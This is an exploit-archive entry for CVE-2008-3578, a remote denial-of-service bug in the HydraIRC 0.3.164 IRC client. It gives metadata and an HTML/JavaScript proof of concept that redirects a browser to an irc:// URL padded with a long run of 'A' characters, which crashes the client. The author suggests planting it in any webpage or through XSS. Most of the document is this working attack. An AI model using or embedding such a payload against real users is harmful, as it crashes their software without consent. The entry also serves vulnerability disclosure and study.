HydraIrc 0.3.164 - Remote Denial of Service

Author: securfrog
type: dos
platform: windows
port: 
date_added: 2008-08-03 
date_updated: 2016-12-15 
verified: 1 
codes: OSVDB-47341;CVE-2008-3578 
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# Vendor : http://www.hydrairc.com/
# Remote : Yes
# Impact : Remote crash
# Bug : Null Pointer Dereference
# Working on : all browsers
#
#  Include this in any webpage or xss & see it with any browser , wait ~15sec, and boom.
#
# PoC :
#
<html>
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>
<body>
<script>
var site = 'irc://127.0.0.1/'
var buf = 'A';
     while (buf.length <= 560) buf = buf + 'A';
document.location.href=site +buf
</script>
</body>
</html>

# milw0rm.com [2008-08-04]